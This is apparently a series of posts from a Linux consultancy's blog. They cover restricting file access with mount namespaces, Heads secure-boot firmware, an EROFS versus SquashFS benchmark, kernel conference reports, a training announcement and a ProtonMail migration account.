The very first operation to the mount namespace is marking it as a hole as slave to the parent namespace. A slave mount namespace receives new mounts from outside. For example, if a user plugs in a USB thumb drive, this new mount point will also be visible to us. This is achieved with the following command: mount("none", "/", NULL, MS_REC|MS_SLAVE, NULL). The important settings are MS_REC and MS_SLAVE.

By setting the MS_REC flag we tell Linux to apply the new settings to all mount points below /. And MS_SLAVE sets the mounts, as the name describes, into slave mode. If we didn’t want to see new mounts instead of MS_SLAVE, MS_PRIVATE can be used.

Adding new mounts

Since we’re still unprivileged despite being uid 0 in our user namespace, we are only allowed to perform certain operations on the mount namespace. Our mount namespace is an immutable copy of the namespace we were in before, so we cannot unmount individual parts of it. However, we are allowed to unmount it as a whole or add new mounts to it. We’ll use the latter. Only very few virtual file systems can be mounted within a user namespace. One of them is tmpfs, which is an in-memory filesystem. We’ll use it to over mount .ssh, so that .ssh becomes an empty directory where all modifications are done to ram but the underlying content is hidden. To ensure that no memory is wasted by filling tmpfs, we’ll mount it as read-only, so that nobody can write to it. Changing the working directory to / and back is an important step. If we don’t do so and the current directory is the user’s .ssh, the process will still posess a reference and can access it.

All of the above happens in setup_mounts():

static void setup_mounts(void)
{
	char *curdir = get_current_dir_name();
	char *homedir = getenv("HOME");
	char *sshdir;

	assert(curdir);
	assert(homedir);
	assert(mount("none", "/", NULL, MS_REC | MS_SLAVE, NULL) == 0);

	assert(asprintf(&sshdir, "%s/.ssh", homedir) != -1);
	assert(mount("tmpfs", sshdir, "tmpfs", MS_RDONLY, NULL) == 0);
	chdir("/");
	chdir(curdir);

	free(sshdir);
	free(curdir);
}

But we’re not done yet. The mount we just made can still be undone, if somebody finds a way to execute code within the program we’re wrapping all our modifications to the original mount namespace can be undone.

Sealing

To seal the current mount namespace, we create a new user namespace. User and mount namespaces are tightly connected. Every mount namespace has an owning user namespace and modifications are only allowed by the owner. With the new user namespace we give up the ownership and make sure no further modifications can happen. Additionally, we switch back to the user and group ids we had initially. So we utilize again the unshare() system call, but this time only with the CLONE_NEWUSER flag, and install the following uid and gid mappings, 0 1000 1, 0 100 1. The attentive reader will notice that this time we map back from 0 to 1000 or 100 again.

So we need another helper: become_orig(). It switches back to the original user ids:

static void become_orig(uid_t orig_uid, gid_t orig_gid)
{
        update_uidgid_map(orig_gid, 0, false);
        update_uidgid_map(orig_uid, 0, true);
        assert(setuid(orig_uid) == 0);
        assert(setgid(orig_gid) == 0);
}

Finally

After all, in main() everything comes together:

int main(int argc, char *argv[])
{
        char *const new_argv[] = {"/bin/bash", NULL};
        uid_t my_uid = getuid();
        gid_t my_gid = getgid();

        assert(unshare(CLONE_NEWNS | CLONE_NEWUSER) == 0);
        become_uid0(my_uid, my_gid);
        setup_mounts();

        assert(unshare(CLONE_NEWUSER) == 0);
        become_orig(my_uid, my_gid);
 
        return execvp(new_argv[0], new_argv);
}

Here we’re wrapping /bin/bash, where you can directly run the program as regular user. In the new shell you’ll find your .ssh directory empty. Download the complete program here.

Another Example

Simply over mounting a directory to hide it is not always a perfect fit. Consider the more complicated case where you want to hide everything except one directory in your home directory. For example, a download application shall not access files in /home/user/ but /home/user/Downloads/. Just mounting a tmpfs on /home/user/ will hide everything. The task can be accomplished by using the property that the current working directory holds a reference to the mount point and keeps it from vanishing.

Necessary steps

Change the current directory to /home/user
Mount a tmpfs to /home/user
Create /home/user/Downloads - this has to be an absolute path to target the new tmpfs!
Remount /home/user to read-only mode
Bind mount Downloads to /home/user/Downloads; it is crucial to use a relative path as source, as mount() will use our current working directory - therefore bind Download from the overmounted home directory.

In code:

static void setup_mounts(void)
{
        char *curdir = get_current_dir_name();
        char *homedir = getenv("HOME");
        char *downloadsdir;

	assert(curdir);
        assert(homedir);
        assert(mount("none", "/", NULL, MS_REC | MS_SLAVE, NULL) == 0);

        assert(asprintf(&downloadsdir, "%s/%s", homedir, "Downloads") != -1);

        chdir(homedir);
        assert(mount("tmpfs", homdir, "tmpfs", 0, NULL) == 0);
        mkdir(downloadsdir, 0700);
	assert(mount("tmpfs", homedir, "tmpfs", MS_REMOUNT | MS_RDONLY, NULL) == 0);
        assert(mount("Downloads", downloadsdir, NULL, MS_BIND, NULL) == 0);
        free(downloadsdir);
        chdir("/");
        chdir(curdir);
	free(curdir);
}

Summary

Namespace are not only useful to build containers, but they can also be utilized to restrict access. In this case we used mount namespaces to limit access to certain parts of the file system. For more details on namespaces, see namespaces(7).

Training: Kernel Internals for Linux Admins

Richard Weinberger — Tue, 13 Dec 2022 00:00:00 +0100

Training: Kernel Internals for Linux Admins

It’s our very pleasure to announce a new training that will take place in early 2023.

Overview

Understanding certain kernel internals is not only useful for persons that intend developing kernel related software. It helps also while analyzing the runtime behavior of Linux in several situations a system administrator might occur. Even seasoned Linux admins can benefit from knowing where exactly to attach probes to or how to gather certain system statistics without excessive tooling.

Agenda

Overview of major subsystems in Linux and how they interact with each other.
Deep dive into storage, network, CPU scheduling, security and container subsystems.
Key kernel functions where attaching probes is fruitful when debugging issues.
Differences between kernel versions of major Linux distributions (Debian, Ubuntu, RHEL, SLES).
Deep dive into /proc, /sys and debugfs interfaces to understand how common tools work on Linux.
Introduction to kernel tracing using perf, ftrace, bpftrace and other tools.

Training procedure

Duration: 8 hours
Price: EUR 1.000,- per person.
Format: Remote; all presented material will be available to attendees after the session
Targeted dates: March 22nd 2023, March 23rd 2023, April 26th 2023, April 27th 2023

Upon request the training is also available on site or at our training center in Innsbruck, Austria. Please mail to office@sigma-star.at for questions and registration.

Securely booting x86 using Heads

Aaron Marcher — Thu, 10 Nov 2022 00:00:00 +0100

Securely booting x86 using Heads

Measures to protect firmware, bootloader and operating system from tampering have a long history in embedded development (also Smartphones and Tablets). We have been deploying such solutions for many different customers. However, our own development machines, which are x86 most of the time, suffer from very similar issues. Secureboot and similar solutions try to solve at least some associated risks. Nonetheless, a complete chain of trust, including a trustable root of trust, is nearly impossible on conventional x86 architecture.

This blog post introduces an alternative open-source firmware project, addressing these weak points of x86 architecture with different measures. It is the result of some research and experimentation at work with Heads and Qubes OS.

Introducing Heads

Heads¹² was initially presented at “Chaos Communication Congress 33c3 (2016/17)”³, without gaining lots of popularity the following years. In the meanwhile, some (pretty well-known) vendors adopted heads into their mainboards and/or laptops (e.g. Purism Librem⁴ or NitroKey NitroPad⁵), which has boosted Heads’ development tremendously.

Summarized, Heads implements a form of measured boot, where the root of trust is moved into the write-protected SPI-flash and the chain of trust is coherent until the operating system takes over. Tampering of firmware, bootloader or the kernel is not impossible, however the user is immediately notified if such a (potentially malicious) action was detected.

What about Tails?

Tails is often referred to in this context because it provides the opposite advantages to Heads, however tries to solve similar architectural problems.

The flip side of Tails. Unlike Tails, which aims to be a stateless OS that leaves no trace on the computer of its presence, Heads is intended for the case where you need to store data and state on the computer. ⁶

On one hand, Tails is a secure stateless operating system, leaving no traces after shutdown. On the other hand, Heads provides the necessary firmware to work with a stateful operating system, but verifies its state on every boot (to prevent tampering).

The flaws of x86 BIOS and UEFI

Before starting to describe how Heads may increase the overall firmware security of your x86 hardware, let’s rethink and question traditional BIOS and UEFI.

From: Linus Torvalds 
Newsgroups: fa.linux.kernel
Message-ID: 
The problem with EFI is that it actually superficially
looks much better than the BIOS, but in practice it ends
up being one of those things where it has few real
advantages, and often just a lot of extra complexity
because of the "new and improved" interfaces that were
largely defined by a committee.
Not that I'd ever claim that the BIOS is wonderful either.
Linus

Linus Torvalds brings up a valid point: Modern EFI implementations as well as old BIOS consist of a lot of large, unauditable, complex code (even graphical UI including web browser is common in today’s firmwares).

Intel’s edk2 tree (UEFI) would be open-source at core, however different vendors have their own closed-source implementations. (Security) updates, bugfixes, enhancements etc. are all on the behalf of the manufacturer - and take their time to bubble down the firmware supply chains.

Also, the signing keys for Secure Boot are in most cases in absolute control of the vendor, which opens the possibility of leaks to third parties.

The problem with Intel’s Management Engine

Additionally, lots of unverifiable code is in Intel’s Management Engine, a coprocessor which has access to almost all devices of a platform (memory, network, peripherals). It was originally meant to be a management tool for large organizations, but auditing its exact function is impossible. Heads has included an awesome open source project to disable most parts of this potentially dangerous hardware: ME Cleaner⁷. However, the Intel ME is a very complex topic which would exceed the boundaries of this blog post. Read more about it here.⁸⁹¹⁰

Exploiting and protecting x86 firmware

The state of firmware, bootloader, Kernel and operating system is unknown after leaving alone a device for an undefined period (e.g. in a hotel room). That opens a whole range of threats to the overall security of the device. Read more about x86’s state problems in a paper from Joanna Rutkowska.¹¹

Good historical examples for these kinds of attacks are:

HackingTeam malware installed through UEFI (2015)¹²
CIA backdoor exploited through UEFI (uncovered by WikiLeaks, 2017)¹³
Vulnerabilities like Thunderstrike (2014)¹⁴
Exploits like LightEater (2015)¹⁵

Attempts of protection

Obviously, vendors and manufacturers tried to mitigate the risk of such attacks.

Intel: One attempt was Intel’s Boot Guard/Verified Boot. However, it silently fails upon mismatching signatures, which renders it completely useless.
Google: Google’s attempt is vboot2 used on Chromebooks, which really addresses some of the present issues. Unfortunately, it is too specialized and unflexible to support a broad range of devices.
GNU GRUB: That’s why GNU GRUB has been forked to Trusted GRUB, which has support for TPM and signed kernels. The problem with it is, that it duplicates all device/ filesystem driver functionality from Linux kernel and thus becomes bloated too. Additionally, the code is not professionally audited nor widely adopted or tested.

None of these solutions allow us to completely verify the chain of trust from the hardware start to the Kernel / operating system boot without any major flaws. That’s when Heads comes into play.

Heads, the little brother/sister of Tails

To improve some issues associated with x86 and its firmware flaws, Heads makes use of well-audited, widely used open source projects. It is based on the coreboot project¹⁶ and the Linux kernel, plus a few required libraries and utils. coreboot is an open source x86 firmware with increasing board and Laptop support, only initializing the basic hardware functions and then handing control to any custom payload.

How Heads works

Heads moves the root of trust into the write-protected region of the SPI flash and allows to completely verify the chain of trust until the measures of the operating system take over. All signing keys are in total control of the user. If all signatures match, the Linux kernel kexec syscall chain-loads the operating system kernel. If anything went wrong, the user is instantly notified and the system bootup process stops immediately. Using Linux as a bootloader, the device drivers are shared among the bootloader and the kernel, which greatly reduces the attack surface.

To verify the integrity of the firmware, the Trusted Platform Module (TPM), a cryptographic coprocessor in modern mainboards, is used. It signs all parts of the SPI flash: That means tampering is possible, but is noticed on the next boot. The TPM also serves as a hardware key storage to decrypt the fully encrypted operating system installed on the system’s bootup disk. However, at this point it is worth mentioning, that TPMs had various security flaws in the past too: For example some Infinion TPMs¹⁷ implemented a broken key generation (RNG), or the communication between the TPM chip and the CPU was not secured by default in old TPM versions¹⁸.

Bootloader, hypervisor, kernel, ramdisk etc. are all signed by a user-controlled key: The user’s GPG public key is flashed into the firmware, so that signatures can be verified on boot. Additionally, tampering of the firmware is detected by using a time-based token (TOTP, verified on another device, e.g. Google Authenticator) and a hardware token (HOTP, Nitrokey¹⁹) with a boot counter.

Trying out Heads on an old Thinkpad

To evaluate and test Heads we used an old spare Lenovo ThinkPad T420, because it offers good overall coreboot and Heads support.

Please note: Warranty is void, no guarantee that anything works, proceed at your own risk! That said, let’s continue to the fun part. :-)

First, proceed with building Heads according to the official guide.²⁰

We had to disassemble the whole laptop to access the BIOS SPI flash chip, as its position is just below the magnesium frame under the keyboard. To ease future access, I soldered some wires to the chip and managed to get them out at the maintenance flap at the bottom of the laptop. However, you can also flash only using a SOIC-8 clip if you trust your built image.

Then you can use a Raspberry Pi (or Bus Pirate or similar) to flash the built image over the GPIO SPI interface.

Show me what you got

If all went well, Heads initialization screen should show up on next boot. First boot can take a few minutes because of Memory training - don’t panic!

Configure your Heads installation according to official documentation by setting up GPG keys, TOTP or HOTP etc.²¹²²

After having passed GPG and TOTP/HOTP verifications, the full-disk-encryption passphrase is asked for. Alternatively, the TPM passes it from the hardware key store.

If all went well, the Linux kernel executes a kexec to jump into the Kernel of the installed operating System - after having verified its integrity and signatures.

In this case, Qubes OS comes up (which you should give a try btw, but that is another blog post).

Alpine Linux Persistence and Storage Summit 2022

Richard Weinberger — Sun, 23 Oct 2022 00:00:00 +0200

Alpine Linux Persistence and Storage Summit 2022

In October 2022 the 5th Alpine Linux Persistence and Storage Summit (ALPSS) was held. The organizers Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger were proud to welcome a big and motivated bunch of the Linux Kernel Storage community from various nations around the world. In old tradition the get-together took place at Lizumer Hütte (2019 m) in the Tuxer Alps.

Day 1: It’s all about hiking – and food

The main ingredients for a successful ALPSS: hot topics, Linux-focused brains, hiking and food. Or was it the other way round? However, we started with a pre-conference lunch. Afterwards we felt ready for the hike, starting at Lager Walchen in Wattental. With sweat and some photo-stops on the picturesque Zirbenweg we reached the Lizumer Hütte after some 2 hours. The lodge-keeper gave us a warm welcome and we switched back to where we started the day: food (plus some drinks).

Day 2: Storage mixed with good weather

The first round of presentations started with a talk by Richard Weinberger on his efforts to improve NFS re-export. While most ideas to reduce the overhead of file handle wrapping didn’t find love because they fix problems that exist only on NFSv3, the suggested approach to fix the ongoing cross-mount issue at least didn’t result in rejection. In the next talk Luis Chamberlain gave an overview of kdevops, blk- and fstests where he outlined where to expect determinism and where not. The conses was that testing the kernel is hard and traditional approaches often don’t apply.

After a tea break both Alexei Starovoitov and Christoph Hellwig spoke about eBPF and how to use it outside of the Linux kernel, for example directly on computational storage devices. The general conses was that having small programs on network or storage devices makes sense for some workloads - but instead of having eBPF support in hardware it’d make more sense to have a tiny CPU on these systems which can run a JIT. eBPF is way too Linux specific and restricted.

The final two presentations of the first day were given by Daniel Wagner and Hannes Reinecke. Daniel spoke about his ongoing work on libnvme and nvme-cli. Over the last year the userspace tooling around NVMe saw a major cleanup which will hopefully ease further maintenance. Hannes explored the possibilities on how to have an isolated userspace helper process around which can initiate a kTLS session for the kernel when needed. Especially when the root filesystem needs a multipath failover. One promising approach is using Linux’s usermode driver where the helper program is part of the kernel binary.

Day 3: More Storage

Despite the early hour the very first presentation of the third day resulted quickly in a heated discussion. Pankaj Raghav gave a talk on how to support non power of two (npo2) zoned devices in Linux. While the topic sounds not too scary it caused immediate fear and anger among certain developers. Currently Linux enforces that zones have power of two sizes. While this is considered as a sane technical decision, no specification enforces this constraint. Therefore some storage vendors expect Linux to support also non power of two sized zones. So far no consent was found on whether supporting npo2 devices is worth the technical burden nor whether there are users in the wild. Pankaj’s presentation was followed by Alex Graf. He discussed the possibilities of having thousands of NVMe disks attached to a single virtual machine. Using more disks per NVMe namespace would allow much more disks but due to shared queues this could cause performance problems. The other option is using NVMe over fabrics. While this scheme allows the needed amount of disk without performance penalties the user experience changes. Instead of having the disks directly attached to the VM, the operating system has to initiate the network attached disks. It was suggested to have single discovery server which helps the operating system finding all targets.

After a short break Paul McKenney presented a new way to work with RCU. Instead of having a global grace period were all pending RCU work is waited for, he proposed a way to avoid waiting. Alexei Starovoitov followed and gave a short presentation on how to use C extensions to catch common programming errors - mostly for use in eBPF.

The final two presentations where held by Tudor Ambarus, Pratyush Yadav and Keith Busch. Tudor and Pratyush gave an overview of Linux’s SPI-NOR flash framework and their ongoing effort to work with various flash chips that do not follow the specification. Last but not least, Keith gave insights in various performance improvements for Direct-IO he is currently working on. Especially combined with an IOMMU Linux has plenty of potential for optimizations.

Day 4: Back to reality

Time goes fast when you’re having a good time. In a blink it was time to pack our rucksacks again and leave for the valley. To make it a round trip – and be a bit quicker – we took the road down to Lager Walchen. With everybody safe back in lower altitudes, we said our farewells. Again, ALPSS kept what it promised: an ideal mix of in-depth, to-the-point talks and discussions on the latest in Linux Storage, peppered with the stunning panorama of the Tyrolean Alps. Sure thing, we are already looking forward to the next ALPSS.

EROFS vs. SquashFS: A Gentle Benchmark

David Oberhollenzer — Thu, 21 Jul 2022 00:00:00 +0200

EROFS vs. SquashFS: A Gentle Benchmark

In some specialized applications it can be desirable - or even necessary - to use an immutable, read-only filesystem. This can be because of the underlying storage medium, e.g. a live DVD which cannot be altered, or a flash memory in an embedded system, which degrades with every cycle. An immutable filesystem also provides a well-known, well-defined and stable state. A state to which one can always return to with a reboot.

A read-only filesystem image technically works more like a random access archive that is packed once, by something like a Yocto build process. A filesystem explicitly designed for this use case can provide highly optimized data structures and compression techniques. Data and meta data can be pre-sorted, arranged in an optimal fashion, de-duplicated, and so on.

SquashFS, the current top dog

On embedded Linux systems, SquashFS is currently the dominating filesystem for such applications, having been merged into main line Linux in 2009, superseding the earlier cramfs. Unlike cramfs, SquashFS supports all the bells and whistles of a typical filesystem, such as

64 bit file and disk image sizes
long path names
extended attributes
NFS export
sparse files
a variety of different data compressors

The SquashFS on-disk format is designed with high data density in mind. File data is compressed in chunks of typically 128KiB in size (up to 1MiB) with smaller files sharing a block.¹ Meta data (e.g. inodes, directory contents) are also compressed in 8KiB chunks. File data, inodes and directory listings are stored separated from each other. All data structures are byte aligned and SquashFS even uses variable sized inodes to squeeze the last remaining bytes out.

The problem

This results in a very compact filesystem image, but comes at the cost of read speed. The granularity of meta data blocks means that the reader has a certain amount of overhead data it was not interested in, but still has to load and unpack. Since the compressed blocks are variable in size, they practically never align with disk blocks, causing a certain overhead in I/O. The reader may not even know ahead of time how much data it needs to read, first having to read a header preceding the variable sized block.

EROFS and its advantages

In 2019 EROFS was introduced, first available in kernel 5.4. EROFS is also a compressed, read-only filesystem, but prioritizes read performance in its design.

While SquashFS packs data with a fixed input block size, resulting in variable sized compressed chunks, EROFS uses fixed output compression. The amount of input data is allowed to be flexible, but the compressed chunks that are generated are fixed in size. This allows them to always be ideally aligned with disk I/O boundaries. The size is always known to the reader and they can be addressed by index rather than by offset.

In EROFS, data and meta data are also stored interleaved, rather than separated, allowing for better locality and faster sequential reads in some cases.

To find out how well EROFS does in comparison to SquashFS, we did a size comparison and read speed benchmark.

Benchmark

For this benchmark, a SquashFS image has been extracted from the Debian 10.2 Xfce live DVD and converted to various other formats. The image from the DVD is roughly 2GiB in size, using default XZ compression with default 128KiB block size.

EROFS originally only supported lz4 compression, but recently also added experimental support for lzma. This currently requires using a custom build of the also experimental xz-utils 5.3.2 alpha release.

SquashFS also supports lz4 compression. To compare the two, the SquashFS image was converted using the tar-conversion programs from squashfs-tools-ng:

sqfs2tar debian.sqfs | tar2sqfs -c  test.sqfs

For reference, the tarballs with the same compression were also generated this way, and the tar2sqfs was additionally modified to generate a completely uncompressed SquashFS image.

For better size comparison and to see the effect of the fixed output compression, additional SquashFS images were generated with the block size reduced from 128KiB down to 4KiB, the default output block size of EROFS.

EROFS images were built by unpacking the SquashFS image and then repacking it using mkfs.erofs from erofs-utils:

fakeroot rdsquashfs -XTCO -u / -p temp/ test.sqfs
fakeroot mkfs.erofs -z test.erofs temp/

Image Size Comparison

Lets take a look at the absolute image sizes first.

Compressor	tar	SquashFS	SquashFS 4KiB	EROFS
none	6.5 GiB	6.1 GiB	6.1 GiB	6.4 GiB
LZ4	3.3 GiB	3.1 GiB	3.6 GiB	3.9 GiB
LZ4 HC	2.8 GiB	2.7 GiB	3.4 GiB	3.6 GiB
XZ	1.7 GiB	2.0 GiB	2.6 GiB	2.7 GiB

We see immediately that SquashFS with default settings produces smaller images than EROFS. By reducing the block size to 4KiB, SquashFS compression clearly suffers from the reduced window size and the results tend closer to what EROFS produces, but are still smaller.
For the uncompressed case, both SquashFS and EROFS are close, but a bit smaller than the reference tarball. They both use more compact, binary data structures than tar and support data deduplication.
Moreover EROFS has a little more overhead than SquashFS, since it uses larger but easier to decode data structures. Plus it cares more about data alignment for fast read access.
For LZ4, SquashFS even beats the compressed tarball, and only in the XZ case, does stream compression with a big sliding window finally win over the fixed, 128KiB block size.
The XZ compressed EROFS is pretty close in size to SquashFS with 4KiB block size. This is a result of the fixed output compression in EROFS. It becomes more apparent, if we look at each format relative to its own uncompressed baseline, giving us a better insight on how effectively each format makes use of data compression:

Compressor	tar	SquashFS	SquashFS 4KiB	EROFS
none	100.0%	100.0%	100.0%	100.0%
LZ4	50.6%	51.7%	59.9%	61.7%
LZ4 HC	42.5%	44.1%	56.1%	57.0%
XZ	25.3%	32.1%	43.3%	42.7%

As we switch to more effective compressors, the gap between SquashFS with 4KiB block size and EROFS shrinks. That’s because for EROFS, better compression means it can increase the input window size, improving the compression rate.

Read Speed Comparison

For a speed comparison benchmark, a small Linux 5.19 kernel and busybox based initrd were built for a Raspberry Pi 3. The filesystem to be tested was put on a separate ext4 partition on the boot micro SD card. From the busybox shell, the image was then loop mounted and part of its contents packed into a tarball, causing a tree traversal and access to a number of files:

mkdir -p /mnt/sdcard/ /mnt/testfs/
mount /dev/mmcblk0p2 /mnt/sdcard/
mount /mnt/sdcard/ /mnt/testfs/
time /bin/tar cf - /mnt/testfs/usr/bin > /dev/null

Repeating the last line 5 times (flushing the page cache in between) and taking the worst case time gives us the following table:

Compressor	SquashFS	SquashFS 4KiB	EROFS
none	6.75s	7.60s	6.38s
LZ4	4.76s	6.61s	4.05s
LZ4 HC	4.40s	6.23s	3.59s
XZ	24.81s	32.44s	17.71s

The I/O performance is a bit easier to visualize and compare, if we divide the size of the resulting tarball (~125.0 MiB) by the time it took to produce it:

Compressor	SquashFS	SquashFS 4KiB	EROFS
none	18.5 MiB/s	16.5 MiB/s	19.6 MiB/s
LZ4	26.3 MiB/s	18.9 MiB/s	30.9 MiB/s
LZ4 HC	28.4 MiB/s	20.1 MiB/s	34.8 MiB/s
XZ	5.0 MiB/s	3.9 MiB/s	7.1 MiB/s

Going from uncompressed to LZ4 speeds up the operation for all 3 cases. Increasing the data density with HC mode gives us another speedup. The time saved by reading less data from the SD card outweighs the time it takes to recreate it from the compressed form. We can tell that LZ4 decompression is I/O bound in our test setup.
In contrast, with LZMA compression, read speed takes a drastic hit compared to reading uncompressed data. Unpacking data on the CPU is the bottleneck for all 3 cases.

Comparison with a small block size

By first comparing EROFS against SquashFS taking a 4KiB block size, EROFS benefits from the aligned reads, besting the read performance irregardless of the compressor in use. The gain of EROFS over SquashFS even improves with increasing compression ratio.

This can again be explained with the fixed output compression and alignment. SquashFS almost never has filesystem blocks aligned with device blocks, so when reading a block, there is a certain overhead of data that is transferred but actually belongs to a different block. The I/O transfers from the SD card are used inefficiently. This is not the case for EROFS, and the fixed output compression means that improving data density actually improves the utilization of the device blocks that are read.

Increasing the block size

Similarly, we can see SquashFS gaining some performance when increasing the block size. A lot more files smaller than 128KiB are now packed into shared “fragment blocks”. SquashFS internally maintains a cache of 3 fragment blocks and with a bigger block size we now get more cache hits. For each cache miss, a much bigger chunk needs to be read from the SD card and the overhead caused by unaligned reads is now comparatively small.

Conclusion

So, is EROFS a better replacement for SquashFS? It depends.

Data compression is a classic example of a memory vs time trade-off. For instance, even in our own benchmark we can see that LZMA gives us an almost 60% reduction in space, but this comes at a performance cost when unpacking the data again. LZ4 is extremely fast in comparison, but doesn’t get anywhere near that data density.

Likewise, while SquashFS is designed to squeeze every last byte out of a filesystem, the goal of EROFS is to be fast - despite being compressed, sacrificing space for speed gains.

According to our benchmark both filesystems do reasonably well in achieving their respective goals.

Recommendations

If storage space is a concern, it is reasonable to stick with SquashFS. If file I/O is a bottleneck in your application, EROFS is definitely worth considering.

Please note that at the time of writing this article, LZMA compression for EROFS is still considered experimental.

On the EROFS side of things, Zstd might be an interesting compressor to add. As other SquashFS benchmarks have shown, Zstd has considerable gains over LZ4 in terms of data density, but is still a lot faster to unpack than LZMA.²

Our ProtonMail Adventure - A Five Act Drama

Richard Weinberger — Fri, 01 Jul 2022 00:00:00 +0200

Our Protonmail Adventure - A Five Act Drama

1. Exposition

After many years of running our mail/groupware setup on our own infrastructure we decided in early 2021 to switch to a hosted solution. The main reason was time: Everyone in the team is busy with writing or auditing code and the time left for petting mail servers went close to zero.

The Decision

From the very beginning ProtonMail was on the shortlist because we liked the idea of having all our mails encrypted on the ProtonMail servers. Side note: Yes, we knew that ProtonMail can in theory capture our passwords and decrypt everything. Some team members have been using it privately too and have been quite happy. Since ProtonMail now also supports groupware features such as calendar and contacts we finally decided to give it a try. At this time we knew already about some limitations, for example, no ProtonMail Calendar App for iOS or no support to have shared calendars. ProtonMail pre-sales assured us that they are working on these features and that they will be available soon. Since initial tests worked well we purchased a ProtonMail Visionary subscription and hoped that those missing features will materialize sooner or later.

2. Rising Action

Aliases with multiple recipients

Right after purchasing a subscription we experienced the first set-back. Since the very beginning of our company history we have mail aliases such as office@ or accounting@ which will target multiple recipients. While ProtonMail supports aliases, it has no support for simple distribution lists. So having an office@ pointing to multiple mailboxes is not possible. ProtonMail support confirmed that this feature is not available but might be implemented eventually in the future. Teeth-gnashingly we worked around the issue by assigning aliases to only one recipient each and started forwarding mails manually.

Android App

Some of our mailboxes are rather huge, they contain up to 100k mails. While importing them via IMAP worked well, accessing them for the first time did not. Especially the ProtonMail App for Android does not like lots of new mail or mails with a new state. After the initial import the Android App stopped working for more than two days after finally being able to display mails. The same problem was also observable after marking a few thousand mails as read. Another obstacle with the Android App was that frequent changes between WiFi and cellular network caused an invalid state and the app was unable to fetch new mail. Erasing all app data resolved the problem in most cases, sometimes only re-installing the whole app helped.

ProtonMail Bridge

On our workstations we deployed ProtonMail Bridge so that everyone was able to use their least hated mail client. The bridge connects to ProtonMail services and acts as an IMAP service on localhost. Soon we experienced high CPU usage and stalls of the bridge process. The CPU usage problem has highly correlated with the used mail client. Most problems have been observed when KDE Kmail was used. Our best guess is that Kmail runs many IMAP requests in parallel and triggers various scaling issues within the bridge. ProtonMail support was unable to help us. As a workaround some of us started using getmail to fetch mail via IMAP into a local Maildir and gave Kmail access to it. With getmail being relatively stupid and strictly single threaded the bridge consumed much less CPU and showed no stalls. It turned out that has been the least problem with ProtonMail Bridge.

End-to-End PGP

We’re heavy users of PGP mail and believe in end-to-end encryption. While ProtonMail can do PGP for us on the server side, nobody of us would ever upload their kernel.org PGP private key into ProtonMail. The server side PGP feature of ProtonMail is nice, as all mails stored on Proton’s servers are encrypted, but we’re still utilizing PGP with our own local keys by encrypting mails with GnuPG or similar. As a consequence mails are double PGP encrypted:

First by our local PGP client
Later by ProtonMail on the server side

A side effect of this is that the mime content type in mails is changed from Content-Type: multipart/encrypted to Content-Type: multipart/mixed which caused problems with various PGP capable mail clients. To our astonishment we have been told by ProtonMail support that using PGP locally with ProtonMail is not supported and currently works just by chance.

The Changing Point

At this point most of the initial excitement for ProtonMail rendered into depression. The only hope was that at least some of the problems or missing features we’ve encountered will get addressed soon. But our expectations were low, especially since most answers from ProtonMail support fell into two categories:

We don’t support this use-case.
Did you try turning it off and on again?

3. Climax

With all our workarounds installed we learned to somehow deal with ProtonMail and it seemed to work rather well. Features were still missing but we hoped to see some of them implemented soon with some luck. From time to time one or the other of us noticed something strange. An IMAP capable mail client decided to re-download the whole mailbox or started to re-index everything. Most of the time we saw that on mbsync and Kmail.

Tipping point

On 29.09.2021 the situation changed significantly. Around 15:00 that day various team members at the company saw strangeness happening with the ProtonMail Bridge. Kmail all of a sudden re-downloaded a mailbox, mbsync did a mis-sync and removed local mail, getmail did not download new mail despite new mail being present, etc. At this point our fear grew that something wonky was happening at the bridge.

The UID problem of ProtonMail bridge

Around the same time Richard was debugging a problem with getmail on IMAP level and later found that ProtonMail bridge violates the IMAP specification.¹

Due to this bug hunt Richard had many IMAP protocol logs of his mailbox and started to investigate why getmail on his workstation no longer found new mail after 29.09.2021.

At IMAP level every mail has a unique and immutable identifier: the message UID. getmail keeps a list of downloaded UIDs to know which messages qualify for downloading. So getmail basically asks the IMAP server for a list of UIDs of a specific mailbox, compares it to its local list and fetches all mail who’s UID is new. Richard found that getmail did not see new mail because the new mail on the ProtonMail server side had UIDs which were already in getmails list! By comparing with the protocol logs before 29.09.2021 we had proof that the very same message all of a sudden had different UIDs. This explained all the problems we had with various mail clients regarding mail sync. We immediately reported the problem to the ProtonMail bridge folks and support.²

The Hack

To be very sure Richard added a hack to his local getmail.³ In addition to the message UID getmail now also stored the message size in its local state. This allowed detecting UID changes immediately.

Sure Thing

A few weeks later the problem happened again, getmail detected a UID change.⁴ At this point it was crystal clear to us that ProtonMail bridge is not trustworthy and can cause major trouble leading to data loss.

4. Falling Action

One would expect that when such a fatal error is reported, developers would react in a reasonable way, especially when the affected product is something you pay for. But nothing happened for a long time. In January 2022 ProtonMail Bridge developers kind of agreed that this bug is real and they’re basically rewriting it.⁵ In the meanwhile other users realized that they’re also affected and that it’s not a bug in their mail clients.

Around March 2022 there was still no progress with the UID bug nor with any of the missing features. We had no iOS calendar app, no shared calendar, no distribution lists, nothing. All we had was a huge pile of ~~wasted time with debugging and reading the source~~ new knowledge and deeper understanding of IMAP and various mail clients which didn’t make use more confident to use ProtonMail Bridge. That said, not all problems rooted in ProtonMail Bridge, we fixed also one in getmail.⁶

The original plan was to save time by using a hosted service. The move to ProtonMail caused the opposite.

5. Resolution

Finally we decided to bite the bullet and migrate away from ProtonMail. We had to accept that it is not a perfect fit for our use-cases. For others it might work well, but not for us. Maybe it would have been a less painful experience if we didn’t depend on the bridge. But finally we had to give up and move on.

Summit on a Summit 2022 Edition

Richard Weinberger — Mon, 13 Jun 2022 00:00:00 +0200

Summit on a Summit 2022 Edition

After a two years long break the Summit on a Summit was back in early June this year. As always, the event was organized by Christoph Hellwig, Daniel Wagner and our own Richard Weinberger. It took place at the Glungezerhütte at almost 2600 m altitude in the heart of Tuxer Alps in Tyrol, Austria. As usual hot topics around implementing realtime features on Linux were discussed. Beside of PREEMPT_RT many of discussions focused this time on Xenomai.

Good weather & some peaks

On Friday we met at Innsbruck train station and drove up to Tulfes where we enjoyed a traditional Austrian lunch at the Tuxerbauer. Hiking up to the Glungezerhütte took only a few hours and due to foggy weather it wasn’t too hot. Up at the lodge the sun came out and we had perfect weather until Sunday when we hiked down to Tulfes. This allowed among heated discussions also some nice hikes to the nearby summits such as the Sonnen- and Viggarspitze.

The topics we discussed

